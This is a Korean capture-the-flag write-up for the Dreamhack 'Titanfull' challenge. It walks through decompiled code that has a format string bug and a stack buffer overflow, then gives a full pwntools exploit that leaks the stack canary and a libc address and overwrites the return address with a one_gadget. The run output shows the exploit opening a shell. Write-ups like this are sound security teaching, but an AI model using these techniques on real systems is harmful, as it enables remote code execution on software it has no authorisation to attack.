[dreamhack] Titanfull writeup

1. 문제

thumbnail
Titanfull

제작자가 어느 게임에 감명받아 만든 프로그램입니다.
취약점을 찾아 플레그를 얻으세요!

https://dreamhack.io/wargame/challenges/1054

2. 풀이


void __noreturn menu()
{
  int v0; // [rsp+Ch] [rbp-54h] BYREF
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v2; // [rsp+58h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("-----------------------------------------------------------------------");
  puts(&byte_2108);
  puts(&byte_21E0);
  puts(&byte_22B8);
  puts(&byte_2390);
  puts(&byte_2468);
  puts(&byte_2540);
  puts("-----------------------------------------------------------------------");
  write(1, "What your name pilot? > ", 0x18uLL);
  read(0, buf, 0x30uLL);
  printf("hello, ");
  printf(buf);
  while ( 1 )
  {
    do
    {
      while ( 1 )
      {
        puts("1. Titan select");
        puts("2. Lunch Titan");
        puts("3. exit");
        printf("> ");
        __isoc99_scanf("%d", &v0);
        if ( v0 != 7274 )
          break;
        if ( check != 1 )
          vanguard();
        else
          puts("You already select titan!");
      }
    }
    while ( v0 > 7274 );
    if ( v0 == 3 )
      break;
    if ( v0 <= 3 )
    {
      if ( v0 == 1 )
      {
        if ( check != 1 )
          select_titan();
        else
          puts("You already select titan!");
      }
      else if ( v0 == 2 )
      {
        if ( check )
        {
          printf("Standby for titanfall!");
          exit(0);
        }
        puts("Plese select titan!");
      }
    }
  }
  exit(0);
}

unsigned __int64 vanguard()
{
  char v1[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("You selected RSR vanguard class titan!");
  printf("Please enter the name of titan : ");
  __isoc99_scanf("%s", v1);
  check = 1;
  return __readfsqword(0x28u) ^ v2;
}

int select_titan()
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-44h]
  __int64 v2[8]; // [rsp+10h] [rbp-40h]

  v2[7] = 0LL;
  v2[0] = (__int64)&unk_2008;
  v2[1] = (__int64)"Scorch";
  v2[2] = (__int64)"Northstar";
  v2[3] = (__int64)"Ronin";
  v2[4] = (__int64)"Tone";
  v2[5] = (__int64)"Legion";
  v2[6] = (__int64)"Monarch";
  for ( i = 1; i <= 7; ++i )
    printf("%d. %s\n", (unsigned int)i, (const char *)v2[i - 1]);
  printf("select titan: ");
  __isoc99_scanf("%d", &titan);
  if ( titan > 0 && titan <= 7 )
  {
    result = printf("You select %s.\n", (const char *)v2[titan - 1]);
  }
  else
  {
    puts("Invalid input.");
    result = select_titan();
  }
  check = 1;
  return result;
}

titan을 선택해서 발진시키는 간단해보이는 프로그램이다.

먼저, main 함수 중간에 printf(buf);를 하면서 fsb 취약점이 존재한다.

그리고 7274를 입력하면 vanguard함수로 들어가는데 이때 제한없이 string형식으로 받게 되면서 bof 취약점도 존재한다.


일단 fsb 취약점이 있기 때문에 최대한 스택에서 얻을수있는걸 얻어보자.

p.sendafter(b"> ", b"%17$p.%21$p.%16$p.aaaa")

p.recvuntil(b"hello, ")
tmp = p.recvuntil(b".aaaa").split(b".")
print(tmp)

canary = int(tmp[0], 16)
__libc_main_ret_243 = int(tmp[1], 16)
libcbase = __libc_main_ret_243 - 243 - 0x23f90

print(hex(libcbase))
#buf_stack = int(tmp[2], 16) - 0x50

17번째가 canary, 21번째가 libc_main_ret, 16번째가 buf 주소를 알아낼 수 있는 단서인데 사실 마지막 buf는 불필요했다.

그리고 이제 얻을건 다 얻었으니 바로 vanguard함수로 가서 one_gadget으로 리턴주소를 적절하게 덮어주자.

최종 exploit은 아래와 같다.

from pwn import *

#p = process("./titanfull")
p = remote("host1.dreamhack.games", 20724)
elf = ELF("./libc-2.31.so")

p.sendafter(b"> ", b"%17$p.%21$p.%16$p.aaaa")

p.recvuntil(b"hello, ")
tmp = p.recvuntil(b".aaaa").split(b".")
print(tmp)

canary = int(tmp[0], 16)
__libc_main_ret_243 = int(tmp[1], 16)
libcbase = __libc_main_ret_243 - 243 - 0x23f90

print(hex(libcbase))
#buf_stack = int(tmp[2], 16) - 0x50

#og = libcbase + 0xe3afe
og = libcbase + 0xe3b01
#og = libcbase + 0xe3b04
print(hex(og))

ret = libcbase + 0x000000000000101a

p.sendlineafter(b"> ", b"7274")

payload = b"a" * 0x18
payload += p64(canary)
payload += b"b" * 8
#payload += p64(ret)
payload += p64(og)

#input()
p.sendlineafter(b"Please enter the name of titan : ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Titanfull$ python3 e_titanfull.py
[+] Starting local process './titanfull': pid 3509419
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level3/Titanfull/libc-2.31.so'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[b'0xff8a7afc5f36ee00', b'0x7b8b97974083', b'(nil)', b'aaaa']
0x7b8b97950000
0x7b8b97a33b01
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~